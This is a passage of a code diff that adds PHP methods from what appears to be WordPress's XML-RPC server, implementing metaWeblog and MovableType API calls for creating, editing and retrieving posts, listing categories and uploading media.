+			if ( !is_numeric($content_struct['mt_allow_pings']) ) {
+				switch ( $content_struct['mt_allow_pings'] ) {
+					case 'closed':
+						$ping_status = 'closed';
+						break;
+					case 'open':
+						$ping_status = 'open';
+						break;
+					default:
+						$ping_status = get_option('default_ping_status');
+						break;
+				}
+			} else {
+				switch ( (int) $content_struct['mt_allow_pings'] ) {
+					case 0:
+						$ping_status = 'closed';
+						break;
+					case 1:
+						$ping_status = 'open';
+						break;
+					default:
+						$ping_status = get_option('default_ping_status');
+						break;
+				}
+			}
+		} else {
+			$ping_status = get_option('default_ping_status');
+		}
+
+		if ( $post_more )
+			$post_content = $post_content . '<!--more-->' . $post_more;
+
+		$to_ping = null;
+		if ( isset( $content_struct['mt_tb_ping_urls'] ) ) {
+			$to_ping = $content_struct['mt_tb_ping_urls'];
+			if ( is_array($to_ping) )
+				$to_ping = implode(' ', $to_ping);
+		}
+
+		// Do some timestamp voodoo
+		if ( !empty( $content_struct['date_created_gmt'] ) )
+			// We know this is supposed to be GMT, so we're going to slap that Z on there by force
+			$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
+		elseif ( !empty( $content_struct['dateCreated']) )
+			$dateCreated = $content_struct['dateCreated']->getIso();
+
+		if ( !empty( $dateCreated ) ) {
+			$post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
+			$post_date_gmt = iso8601_to_datetime($dateCreated, 'GMT');
+		} else {
+			$post_date = current_time('mysql');
+			$post_date_gmt = current_time('mysql', 1);
+		}
+
+		$post_category = array();
+		if ( isset( $content_struct['categories'] ) ) {
+			$catnames = $content_struct['categories'];
+
+			if ( is_array($catnames) ) {
+				foreach ($catnames as $cat) {
+					$post_category[] = get_cat_ID($cat);
+				}
+			}
+		}
+
+		$postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'to_ping', 'post_type', 'post_name', 'post_password', 'post_parent', 'menu_order', 'tags_input', 'page_template');
+
+		$post_ID = $postdata['ID'] = get_default_post_to_edit( $post_type, true )->ID;
+
+		// Only posts can be sticky
+		if ( $post_type == 'post' && isset( $content_struct['sticky'] ) ) {
+			if ( $content_struct['sticky'] == true )
+				stick_post( $post_ID );
+			elseif ( $content_struct['sticky'] == false )
+				unstick_post( $post_ID );
+		}
+
+		if ( isset($content_struct['custom_fields']) )
+			$this->set_custom_fields($post_ID, $content_struct['custom_fields']);
+
+		if ( isset ( $content_struct['wp_post_thumbnail'] ) ) {
+			if ( set_post_thumbnail( $post_ID, $content_struct['wp_post_thumbnail'] ) === false )
+				return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
+
+			unset( $content_struct['wp_post_thumbnail'] );
+		}
+
+		// Handle enclosures
+		$thisEnclosure = isset($content_struct['enclosure']) ? $content_struct['enclosure'] : null;
+		$this->add_enclosure_if_new($post_ID, $thisEnclosure);
+
+		$this->attach_uploads( $post_ID, $post_content );
+
+		// Handle post formats if assigned, value is validated earlier
+		// in this function
+		if ( isset( $content_struct['wp_post_format'] ) )
+			set_post_format( $post_ID, $content_struct['wp_post_format'] );
+
+		$post_ID = wp_insert_post( $postdata, true );
+		if ( is_wp_error( $post_ID ) )
+			return new IXR_Error(500, $post_ID->get_error_message());
+
+		if ( !$post_ID )
+			return new IXR_Error(500, __('Sorry, your entry could not be posted. Something wrong happened.'));
+
+		/**
+		 * Fires after a new post has been successfully created via the XML-RPC MovableType API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the new post.
+		 * @param array $args    An array of arguments to create the new post.
+		 */
+		do_action( 'xmlrpc_call_success_mw_newPost', $post_ID, $args );
+
+		return strval($post_ID);
+	}
+
+	/**
+	 * @param integer $post_ID
+	 * @param array   $enclosure
+	 */
+	public function add_enclosure_if_new( $post_ID, $enclosure ) {
+		if ( is_array( $enclosure ) && isset( $enclosure['url'] ) && isset( $enclosure['length'] ) && isset( $enclosure['type'] ) ) {
+			$encstring = $enclosure['url'] . "\n" . $enclosure['length'] . "\n" . $enclosure['type'] . "\n";
+			$found = false;
+			if ( $enclosures = get_post_meta( $post_ID, 'enclosure' ) ) {
+				foreach ( $enclosures as $enc ) {
+					// This method used to omit the trailing new line. #23219
+					if ( rtrim( $enc, "\n" ) == rtrim( $encstring, "\n" ) ) {
+						$found = true;
+						break;
+					}
+				}
+			}
+			if ( ! $found )
+				add_post_meta( $post_ID, 'enclosure', $encstring );
+		}
+	}
+
+	/**
+	 * Attach upload to a post.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param int $post_ID Post ID.
+	 * @param string $post_content Post Content for attachment.
+	 */
+	public function attach_uploads( $post_ID, $post_content ) {
+		global $wpdb;
+
+		// find any unattached files
+		$attachments = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts} WHERE post_parent = '0' AND post_type = 'attachment'" );
+		if ( is_array( $attachments ) ) {
+			foreach ( $attachments as $file ) {
+				if ( ! empty( $file->guid ) && strpos( $post_content, $file->guid ) !== false )
+					$wpdb->update($wpdb->posts, array('post_parent' => $post_ID), array('ID' => $file->ID) );
+			}
+		}
+	}
+
+	/**
+	 * Edit a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool|IXR_Error True on success.
+	 */
+	public function mw_editPost($args) {
+
+		$this->escape($args);
+
+		$post_ID        = (int) $args[0];
+		$username       = $args[1];
+		$password       = $args[2];
+		$content_struct = $args[3];
+		$publish        = isset( $args[4] ) ? $args[4] : 0;
+
+		if ( ! $user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.editPost' );
+
+		$postdata = get_post( $post_ID, ARRAY_A );
+
+		// If there is no post data for the give post id, stop
+		// now and return an error. Other wise a new post will be
+		// created (which was the old behavior).
+		if ( ! $postdata || empty( $postdata[ 'ID' ] ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you do not have the right to edit this post.' ) );
+
+		// Use wp.editPost to edit post types other than post and page.
+		if ( ! in_array( $postdata[ 'post_type' ], array( 'post', 'page' ) ) )
+			return new IXR_Error( 401, __( 'Invalid post type' ) );
+
+		// Thwart attempt to change the post type.
+		if ( ! empty( $content_struct[ 'post_type' ] ) && ( $content_struct['post_type'] != $postdata[ 'post_type' ] ) )
+			return new IXR_Error( 401, __( 'The post type may not be changed.' ) );
+
+		// Check for a valid post format if one was given
+		if ( isset( $content_struct['wp_post_format'] ) ) {
+			$content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] );
+			if ( !array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) {
+				return new IXR_Error( 404, __( 'Invalid post format' ) );
+			}
+		}
+
+		$this->escape($postdata);
+
+		$ID = $postdata['ID'];
+		$post_content = $postdata['post_content'];
+		$post_title = $postdata['post_title'];
+		$post_excerpt = $postdata['post_excerpt'];
+		$post_password = $postdata['post_password'];
+		$post_parent = $postdata['post_parent'];
+		$post_type = $postdata['post_type'];
+		$menu_order = $postdata['menu_order'];
+
+		// Let WordPress manage slug if none was provided.
+		$post_name = "";
+		$post_name = $postdata['post_name'];
+		if ( isset($content_struct['wp_slug']) )
+			$post_name = $content_struct['wp_slug'];
+
+		// Only use a password if one was given.
+		if ( isset($content_struct['wp_password']) )
+			$post_password = $content_struct['wp_password'];
+
+		// Only set a post parent if one was given.
+		if ( isset($content_struct['wp_page_parent_id']) )
+			$post_parent = $content_struct['wp_page_parent_id'];
+
+		// Only set the menu_order if it was given.
+		if ( isset($content_struct['wp_page_order']) )
+			$menu_order = $content_struct['wp_page_order'];
+
+		$page_template = null;
+		if ( ! empty( $content_struct['wp_page_template'] ) && 'page' == $post_type )
+			$page_template = $content_struct['wp_page_template'];
+
+		$post_author = $postdata['post_author'];
+
+		// Only set the post_author if one is set.
+		if ( isset($content_struct['wp_author_id']) && ($user->ID != $content_struct['wp_author_id']) ) {
+			switch ( $post_type ) {
+				case 'post':
+					if ( !current_user_can('edit_others_posts') )
+						return new IXR_Error( 401, __( 'You are not allowed to change the post author as this user.' ) );
+					break;
+				case 'page':
+					if ( !current_user_can('edit_others_pages') )
+						return new IXR_Error( 401, __( 'You are not allowed to change the page author as this user.' ) );
+					break;
+				default:
+					return new IXR_Error( 401, __( 'Invalid post type' ) );
+					break;
+			}
+			$post_author = $content_struct['wp_author_id'];
+		}
+
+		if ( isset($content_struct['mt_allow_comments']) ) {
+			if ( !is_numeric($content_struct['mt_allow_comments']) ) {
+				switch ( $content_struct['mt_allow_comments'] ) {
+					case 'closed':
+						$comment_status = 'closed';
+						break;
+					case 'open':
+						$comment_status = 'open';
+						break;
+					default:
+						$comment_status = get_option('default_comment_status');
+						break;
+				}
+			} else {
+				switch ( (int) $content_struct['mt_allow_comments'] ) {
+					case 0:
+					case 2:
+						$comment_status = 'closed';
+						break;
+					case 1:
+						$comment_status = 'open';
+						break;
+					default:
+						$comment_status = get_option('default_comment_status');
+						break;
+				}
+			}
+		}
+
+		if ( isset($content_struct['mt_allow_pings']) ) {
+			if ( !is_numeric($content_struct['mt_allow_pings']) ) {
+				switch ( $content_struct['mt_allow_pings'] ) {
+					case 'closed':
+						$ping_status = 'closed';
+						break;
+					case 'open':
+						$ping_status = 'open';
+						break;
+					default:
+						$ping_status = get_option('default_ping_status');
+						break;
+				}
+			} else {
+				switch ( (int) $content_struct["mt_allow_pings"] ) {
+					case 0:
+						$ping_status = 'closed';
+						break;
+					case 1:
+						$ping_status = 'open';
+						break;
+					default:
+						$ping_status = get_option('default_ping_status');
+						break;
+				}
+			}
+		}
+
+		if ( isset( $content_struct['title'] ) )
+			$post_title =  $content_struct['title'];
+
+		if ( isset( $content_struct['description'] ) )
+			$post_content = $content_struct['description'];
+
+		$post_category = array();
+		if ( isset( $content_struct['categories'] ) ) {
+			$catnames = $content_struct['categories'];
+			if ( is_array($catnames) ) {
+				foreach ($catnames as $cat) {
+					$post_category[] = get_cat_ID($cat);
+				}
+			}
+		}
+
+		if ( isset( $content_struct['mt_excerpt'] ) )
+			$post_excerpt =  $content_struct['mt_excerpt'];
+
+		$post_more = isset( $content_struct['mt_text_more'] ) ? $content_struct['mt_text_more'] : null;
+
+		$post_status = $publish ? 'publish' : 'draft';
+		if ( isset( $content_struct["{$post_type}_status"] ) ) {
+			switch( $content_struct["{$post_type}_status"] ) {
+				case 'draft':
+				case 'pending':
+				case 'private':
+				case 'publish':
+					$post_status = $content_struct["{$post_type}_status"];
+					break;
+				default:
+					$post_status = $publish ? 'publish' : 'draft';
+					break;
+			}
+		}
+
+		$tags_input = isset( $content_struct['mt_keywords'] ) ? $content_struct['mt_keywords'] : null;
+
+		if ( ('publish' == $post_status) ) {
+			if ( ( 'page' == $post_type ) && !current_user_can('publish_pages') )
+				return new IXR_Error(401, __('Sorry, you do not have the right to publish this page.'));
+			else if ( !current_user_can('publish_posts') )
+				return new IXR_Error(401, __('Sorry, you do not have the right to publish this post.'));
+		}
+
+		if ( $post_more )
+			$post_content = $post_content . "<!--more-->" . $post_more;
+
+		$to_ping = null;
+		if ( isset( $content_struct['mt_tb_ping_urls'] ) ) {
+			$to_ping = $content_struct['mt_tb_ping_urls'];
+			if ( is_array($to_ping) )
+				$to_ping = implode(' ', $to_ping);
+		}
+
+		// Do some timestamp voodoo
+		if ( !empty( $content_struct['date_created_gmt'] ) )
+			// We know this is supposed to be GMT, so we're going to slap that Z on there by force
+			$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
+		elseif ( !empty( $content_struct['dateCreated']) )
+			$dateCreated = $content_struct['dateCreated']->getIso();
+
+		if ( !empty( $dateCreated ) ) {
+			$post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
+			$post_date_gmt = iso8601_to_datetime($dateCreated, 'GMT');
+		} else {
+			$post_date     = $postdata['post_date'];
+			$post_date_gmt = $postdata['post_date_gmt'];
+		}
+
+		// We've got all the data -- post it:
+		$newpost = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'post_date', 'post_date_gmt', 'to_ping', 'post_name', 'post_password', 'post_parent', 'menu_order', 'post_author', 'tags_input', 'page_template');
+
+		$result = wp_update_post($newpost, true);
+		if ( is_wp_error( $result ) )
+			return new IXR_Error(500, $result->get_error_message());
+
+		if ( !$result )
+			return new IXR_Error(500, __('Sorry, your entry could not be edited. Something wrong happened.'));
+
+		// Only posts can be sticky
+		if ( $post_type == 'post' && isset( $content_struct['sticky'] ) ) {
+			if ( $content_struct['sticky'] == true )
+				stick_post( $post_ID );
+			elseif ( $content_struct['sticky'] == false )
+				unstick_post( $post_ID );
+		}
+
+		if ( isset($content_struct['custom_fields']) )
+			$this->set_custom_fields($post_ID, $content_struct['custom_fields']);
+
+		if ( isset ( $content_struct['wp_post_thumbnail'] ) ) {
+			// empty value deletes, non-empty value adds/updates
+			if ( empty( $content_struct['wp_post_thumbnail'] ) ) {
+				delete_post_thumbnail( $post_ID );
+			} else {
+				if ( set_post_thumbnail( $post_ID, $content_struct['wp_post_thumbnail'] ) === false )
+					return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
+			}
+			unset( $content_struct['wp_post_thumbnail'] );
+		}
+
+		// Handle enclosures
+		$thisEnclosure = isset($content_struct['enclosure']) ? $content_struct['enclosure'] : null;
+		$this->add_enclosure_if_new($post_ID, $thisEnclosure);
+
+		$this->attach_uploads( $ID, $post_content );
+
+		// Handle post formats if assigned, validation is handled
+		// earlier in this function
+		if ( isset( $content_struct['wp_post_format'] ) )
+			set_post_format( $post_ID, $content_struct['wp_post_format'] );
+
+		/**
+		 * Fires after a post has been successfully updated via the XML-RPC MovableType API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the updated post.
+		 * @param array $args    An array of arguments to update the post.
+		 */
+		do_action( 'xmlrpc_call_success_mw_editPost', $post_ID, $args );
+
+		return true;
+	}
+
+	/**
+	 * Retrieve post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function mw_getPost($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		$postdata = get_post($post_ID, ARRAY_A);
+		if ( ! $postdata )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.getPost' );
+
+		if ($postdata['post_date'] != '') {
+			$post_date = $this->_convert_date( $postdata['post_date'] );
+			$post_date_gmt = $this->_convert_date_gmt( $postdata['post_date_gmt'],  $postdata['post_date'] );
+			$post_modified = $this->_convert_date( $postdata['post_modified'] );
+			$post_modified_gmt = $this->_convert_date_gmt( $postdata['post_modified_gmt'], $postdata['post_modified'] );
+
+			$categories = array();
+			$catids = wp_get_post_categories($post_ID);
+			foreach($catids as $catid)
+				$categories[] = get_cat_name($catid);
+
+			$tagnames = array();
+			$tags = wp_get_post_tags( $post_ID );
+			if ( !empty( $tags ) ) {
+				foreach ( $tags as $tag )
+					$tagnames[] = $tag->name;
+				$tagnames = implode( ', ', $tagnames );
+			} else {
+				$tagnames = '';
+			}
+
+			$post = get_extended($postdata['post_content']);
+			$link = post_permalink($postdata['ID']);
+
+			// Get the author info.
+			$author = get_userdata($postdata['post_author']);
+
+			$allow_comments = ('open' == $postdata['comment_status']) ? 1 : 0;
+			$allow_pings = ('open' == $postdata['ping_status']) ? 1 : 0;
+
+			// Consider future posts as published
+			if ( $postdata['post_status'] === 'future' )
+				$postdata['post_status'] = 'publish';
+
+			// Get post format
+			$post_format = get_post_format( $post_ID );
+			if ( empty( $post_format ) )
+				$post_format = 'standard';
+
+			$sticky = false;
+			if ( is_sticky( $post_ID ) )
+				$sticky = true;
+
+			$enclosure = array();
+			foreach ( (array) get_post_custom($post_ID) as $key => $val) {
+				if ($key == 'enclosure') {
+					foreach ( (array) $val as $enc ) {
+						$encdata = explode("\n", $enc);
+						$enclosure['url'] = trim(htmlspecialchars($encdata[0]));
+						$enclosure['length'] = (int) trim($encdata[1]);
+						$enclosure['type'] = trim($encdata[2]);
+						break 2;
+					}
+				}
+			}
+
+			$resp = array(
+				'dateCreated' => $post_date,
+				'userid' => $postdata['post_author'],
+				'postid' => $postdata['ID'],
+				'description' => $post['main'],
+				'title' => $postdata['post_title'],
+				'link' => $link,
+				'permaLink' => $link,
+				// commented out because no other tool seems to use this
+				//	      'content' => $entry['post_content'],
+				'categories' => $categories,
+				'mt_excerpt' => $postdata['post_excerpt'],
+				'mt_text_more' => $post['extended'],
+				'wp_more_text' => $post['more_text'],
+				'mt_allow_comments' => $allow_comments,
+				'mt_allow_pings' => $allow_pings,
+				'mt_keywords' => $tagnames,
+				'wp_slug' => $postdata['post_name'],
+				'wp_password' => $postdata['post_password'],
+				'wp_author_id' => (string) $author->ID,
+				'wp_author_display_name' => $author->display_name,
+				'date_created_gmt' => $post_date_gmt,
+				'post_status' => $postdata['post_status'],
+				'custom_fields' => $this->get_custom_fields($post_ID),
+				'wp_post_format' => $post_format,
+				'sticky' => $sticky,
+				'date_modified' => $post_modified,
+				'date_modified_gmt' => $post_modified_gmt
+			);
+
+			if ( !empty($enclosure) ) $resp['enclosure'] = $enclosure;
+
+			$resp['wp_post_thumbnail'] = get_post_thumbnail_id( $postdata['ID'] );
+
+			return $resp;
+		} else {
+			return new IXR_Error(404, __('Sorry, no such post.'));
+		}
+	}
+
+	/**
+	 * Retrieve list of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function mw_getRecentPosts($args) {
+
+		$this->escape($args);
+
+		$username  = $args[1];
+		$password   = $args[2];
+		if ( isset( $args[3] ) )
+			$query = array( 'numberposts' => absint( $args[3] ) );
+		else
+			$query = array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( ! current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit posts on this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.getRecentPosts' );
+
+		$posts_list = wp_get_recent_posts( $query );
+
+		if ( !$posts_list )
+			return array();
+
+		$recent_posts = array();
+		foreach ($posts_list as $entry) {
+			if ( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date = $this->_convert_date( $entry['post_date'] );
+			$post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] );
+			$post_modified = $this->_convert_date( $entry['post_modified'] );
+			$post_modified_gmt = $this->_convert_date_gmt( $entry['post_modified_gmt'], $entry['post_modified'] );
+
+			$categories = array();
+			$catids = wp_get_post_categories($entry['ID']);
+			foreach( $catids as $catid )
+				$categories[] = get_cat_name($catid);
+
+			$tagnames = array();
+			$tags = wp_get_post_tags( $entry['ID'] );
+			if ( !empty( $tags ) ) {
+				foreach ( $tags as $tag ) {
+					$tagnames[] = $tag->name;
+				}
+				$tagnames = implode( ', ', $tagnames );
+			} else {
+				$tagnames = '';
+			}
+
+			$post = get_extended($entry['post_content']);
+			$link = post_permalink($entry['ID']);
+
+			// Get the post author info.
+			$author = get_userdata($entry['post_author']);
+
+			$allow_comments = ('open' == $entry['comment_status']) ? 1 : 0;
+			$allow_pings = ('open' == $entry['ping_status']) ? 1 : 0;
+
+			// Consider future posts as published
+			if ( $entry['post_status'] === 'future' )
+				$entry['post_status'] = 'publish';
+
+			// Get post format
+			$post_format = get_post_format( $entry['ID'] );
+			if ( empty( $post_format ) )
+				$post_format = 'standard';
+
+			$recent_posts[] = array(
+				'dateCreated' => $post_date,
+				'userid' => $entry['post_author'],
+				'postid' => (string) $entry['ID'],
+				'description' => $post['main'],
+				'title' => $entry['post_title'],
+				'link' => $link,
+				'permaLink' => $link,
+				// commented out because no other tool seems to use this
+				// 'content' => $entry['post_content'],
+				'categories' => $categories,
+				'mt_excerpt' => $entry['post_excerpt'],
+				'mt_text_more' => $post['extended'],
+				'wp_more_text' => $post['more_text'],
+				'mt_allow_comments' => $allow_comments,
+				'mt_allow_pings' => $allow_pings,
+				'mt_keywords' => $tagnames,
+				'wp_slug' => $entry['post_name'],
+				'wp_password' => $entry['post_password'],
+				'wp_author_id' => (string) $author->ID,
+				'wp_author_display_name' => $author->display_name,
+				'date_created_gmt' => $post_date_gmt,
+				'post_status' => $entry['post_status'],
+				'custom_fields' => $this->get_custom_fields($entry['ID']),
+				'wp_post_format' => $post_format,
+				'date_modified' => $post_modified,
+				'date_modified_gmt' => $post_modified_gmt,
+				'sticky' => ( $entry['post_type'] === 'post' && is_sticky( $entry['ID'] ) ),
+				'wp_post_thumbnail' => get_post_thumbnail_id( $entry['ID'] )
+			);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Retrieve the list of categories on a given blog.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function mw_getCategories($args) {
+
+		$this->escape($args);
+
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.getCategories' );
+
+		$categories_struct = array();
+
+		if ( $cats = get_categories(array('get' => 'all')) ) {
+			foreach ( $cats as $cat ) {
+				$struct = array();
+				$struct['categoryId'] = $cat->term_id;
+				$struct['parentId'] = $cat->parent;
+				$struct['description'] = $cat->name;
+				$struct['categoryDescription'] = $cat->description;
+				$struct['categoryName'] = $cat->name;
+				$struct['htmlUrl'] = esc_html(get_category_link($cat->term_id));
+				$struct['rssUrl'] = esc_html(get_category_feed_link($cat->term_id, 'rss2'));
+
+				$categories_struct[] = $struct;
+			}
+		}
+
+		return $categories_struct;
+	}
+
+	/**
+	 * Uploads a file, following your settings.
+	 *
+	 * Adapted from a patch by Johann Richard.
+	 *
+	 * @link http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function mw_newMediaObject($args) {
+		global $wpdb;
+
+		$username  = $this->escape($args[1]);
+		$password   = $this->escape($args[2]);
+		$data        = $args[3];
+
+		$name = sanitize_file_name( $data['name'] );
+		$type = $data['type'];
+		$bits = $data['bits'];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.newMediaObject' );
+
+		if ( !current_user_can('upload_files') ) {
+			$this->error = new IXR_Error( 401, __( 'You do not have permission to upload files.' ) );
+			return $this->error;
+		}
+
+		/**
+		 * Filter whether to preempt the XML-RPC media upload.
+		 *
+		 * Passing a truthy value will effectively short-circuit the media upload,
+		 * returning that value as a 500 error instead.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param bool $error Whether to pre-empt the media upload. Default false.
+		 */
+		if ( $upload_err = apply_filters( 'pre_upload_error', false ) ) {
+			return new IXR_Error( 500, $upload_err );
+		}
+
+		if ( !empty($data['overwrite']) && ($data['overwrite'] == true) ) {
+			// Get postmeta info on the object.
+			$old_file = $wpdb->get_row("
+				SELECT ID
+				FROM {$wpdb->posts}
+				WHERE post_title = '{$name}'
+					AND post_type = 'attachment'
+			");
+
+			// Delete previous file.
+			wp_delete_attachment($old_file->ID);
+
+			// Make sure the new name is different by pre-pending the
+			// previous post id.
+			$filename = preg_replace('/^wpid\d+-/', '', $name);
+			$name = "wpid{$old_file->ID}-{$filename}";
+		}
+
+		$upload = wp_upload_bits($name, null, $bits);
+		if ( ! empty($upload['error']) ) {
+			$errorString = sprintf(__('Could not write file %1$s (%2$s)'), $name, $upload['error']);
+			return new IXR_Error(500, $errorString);
+		}
+		// Construct the attachment array
+		$post_id = 0;
+		if ( ! empty( $data['post_id'] ) ) {
+			$post_id = (int) $data['post_id'];
+
+			if ( ! current_user_can( 'edit_post', $post_id ) )
+				return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );
+		}
+		$attachment = array(
+			'post_title' => $name,
+			'post_content' => '',
+			'post_type' => 'attachment',
+			'post_parent' => $post_id,
+			'post_mime_type' => $type,
+			'guid' => $upload[ 'url' ]
+		);
+
+		// Save the data
+		$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id );
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+
+		/**
+		 * Fires after a new attachment has been added via the XML-RPC MovableType API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $id   ID of the new attachment.
+		 * @param array $args An array of arguments to add the attachment.
+		 */
+		do_action( 'xmlrpc_call_success_mw_newMediaObject', $id, $args );
+
+		$struct = array(
+			'id'   => strval( $id ),
+			'file' => $name,
+			'url'  => $upload[ 'url' ],
+			'type' => $type
+		);
+
+		/** This filter is documented in wp-admin/includes/file.php */
+		return apply_filters( 'wp_handle_upload', $struct, 'upload' );
+	}
+
+	/* MovableType API functions
+	 * specs on http://www.movabletype.org/docs/mtmanual_programmatic.html
+	 */
+
+	/**
+	 * Retrieve the post titles of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function mt_getRecentPostTitles($args) {
+
+		$this->escape($args);
+
+		$username  = $args[1];
+		$password   = $args[2];
+		if ( isset( $args[3] ) )
+			$query = array( 'numberposts' => absint( $args[3] ) );
+		else
+			$query = array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.getRecentPostTitles' );
+
+		$posts_list = wp_get_recent_posts( $query );
+
+		if ( !$posts_list ) {
+			$this->error = new IXR_Error(500, __('Either there are no posts, or something went wrong.'));
+			return $this->error;
+		}
+
+		$recent_posts = array();
+
+		foreach ($posts_list as $entry) {
+			if ( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date = $this->_convert_date( $entry['post_date'] );
+			$post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] );
+
+			$recent_posts[] = array(
+				'dateCreated' => $post_date,
+				'userid' => $entry['post_author'],
+				'postid' => (string) $entry['ID'],
+				'title' => $entry['post_title'],
+				'post_status' => $entry['post_status'],
+				'date_created_gmt' => $post_date_gmt
+			);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Retrieve list of all categories on blog.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function mt_getCategoryList($args) {
+
+		$this->escape($args);
+
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.getCategoryList' );
+
+		$categories_struct = array();
+
+		if ( $cats = get_categories(array('hide_empty' => 0, 'hierarchical' => 0)) ) {
+			foreach ( $cats as $cat ) {
+				$struct = array();
+				$struct['categoryId'] = $cat->term_id;
+				$struct['categoryName'] = $cat->name;
+
+				$categories_struct[] = $struct;
+			}
+		}
+
+		return $categories_struct;
+	}
+
+	/**
+	 * Retrieve post categories.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function mt_getPostCategories($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( ! get_post( $post_ID ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you can not edit this post.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.getPostCategories' );
+
+		$categories = array();
+		$catids = wp_get_post_categories(intval($post_ID));
+		// first listed category will be the primary category
+		$isPrimary = true;
+		foreach ( $catids as $catid ) {
+			$categories[] = array(
+				'categoryName' => get_cat_name($catid),
+				'categoryId' => (string) $catid,
+				'isPrimary' => $isPrimary
+			);
+			$isPrimary = false;
+		}
+
+		return $categories;
+	}
+
+	/**
+	 * Sets categories for a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool|IXR_Error True on success.
+	 */
+	public function mt_setPostCategories($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+		$categories  = $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
